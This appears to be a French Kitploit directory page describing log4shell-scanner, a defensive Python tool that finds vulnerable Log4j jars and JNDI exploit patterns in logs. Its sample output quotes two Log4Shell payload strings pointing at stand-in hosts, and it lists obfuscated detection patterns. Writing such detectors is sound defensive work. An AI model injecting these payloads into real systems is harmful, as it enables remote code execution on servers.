Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4shell-scanner — Scanner léger qui détecte les versions vulnérables de Log4j et les indicateurs Log4Shell (CVE-2021-44228) dans une arborescence du système de fichiers. | Kitploit
Outils/GitHubGitHub/arpitgupta369/log4shell-scanner
Outils DéfensifsScanners de VulnérabilitésAnalyse des VulnérabilitésSécurité de la Chaîne LogistiqueApprentissage et ÉducationAnalyse de Journaux
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

Scanner léger qui détecte les versions vulnérables de Log4j et les indicateurs Log4Shell (CVE-2021-44228) dans une arborescence du système de fichiers.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
23il y a 2 moisPas encore vérifié
Partager

log4shell-scanner

Un scanner défensif et sans dépendances pour Log4Shell — détecte les jars log4j-core vulnérables et les motifs d'exploitation JNDI dans les logs et la configuration.

Pourquoi ce projet

Lors de ma rotation CERT-In, j'ai travaillé sur l'identification des menaces, le confinement, la remédiation et la chasse aux menaces — exactement le flux de travail exigé par Log4Shell (CVE-2021-44228) à grande échelle en décembre 2021 : trouver chaque artefact log4j-core vulnérable dans une flotte, et fouiller les logs pour les tentatives d'exploitation ${jndi:...}. Ce scanner reconstruit ce flux de travail défensif dans un seul script Python portable utilisant uniquement la bibliothèque standard, qui ne nécessite rien d'installé sur la machine qu'il inspecte.

Fonctionnalités

  • Découverte d'archives — parcourt une arborescence de répertoires à la recherche de fichiers .jar / .war / .ear.
  • Détection fiable des versions — lit pom.properties et MANIFEST.MF depuis l'intérieur de chaque archive avec zipfile, en se rabattant sur le nom du fichier ; distingue les vrais log4j-core des jars non liés.
  • Signalement des CVE dans la famille Log4Shell :
    • CVE-2021-44228 (RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (correction incomplète) — jusqu'à 2.15.0
    • CVE-2021-45105 (DoS) — jusqu'à 2.16.0
  • Chasse aux motifs d'exploit — recherche dans les logs/config/source les ${jndi:ldap:// et les obfuscations courantes (${${lower:j}ndi:…}, j}ndi: avec accolade, ${::-j}).
  • Remédiation actionnable — mettre à niveau vers 2.17.1+, ou supprimer JndiLookup.class, plus conseils de surveillance des flux sortants.
  • Arbre d'exemples intégré avec un faux log4j-core-2.14.1.jar vulnérable (vrai zip contenant un pom.properties de log4j-core), un 2.17.1.jar corrigé, un jar non lié, et un log avec des charges utiles JNDI.
  • --demo construit et analyse l'arbre d'exemples de bout en bout.
  • Pure bibliothèque standard Python (os, re, zipfile). Aucune dépendance.

Stack technique

Python 3 (uniquement bibliothèque standard : argparse, os, re, zipfile).

Installation

git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

Utilisation

Lancez la démo sur l'arbre d'exemples intégré :

python log4shell_scan.py --demo

Sortie attendue (abrégée) :

--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

Analysez tout répertoire que vous êtes autorisé à évaluer :

python log4shell_scan.py /path/to/deployed/app

Le code de sortie du processus est 1 si quelque chose de vulnérable ou suspect est trouvé, 0 si tout est propre — pratique pour les CI/pipeline gating.

Reconstruisez l'arbre d'exemples à tout moment :

python log4shell_scan.py --build-samples

Structure du projet

log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

Avertissement

Pour usage éducatif, défensif et autorisé uniquement. Exécutez-le seulement contre des systèmes et artefacts que vous avez la permission d'évaluer. Le scanner lit et recherche des motifs uniquement — il n'exécute ni n'exploite jamais rien. Les jars d'exemples intégrés sont des placeholders fabriqués, pas de véritables artefacts Apache, et tous les noms d'hôtes des charges utiles utilisent des noms .test non routables. Les correspondances version-à-CVE sont fournies pour orientation ; vérifiez-les auprès des avis de sécurité officiels CVE et Apache Log4j.


Construit par Arpit Gupta — LinkedIn · GitHub

Télécharger l’outil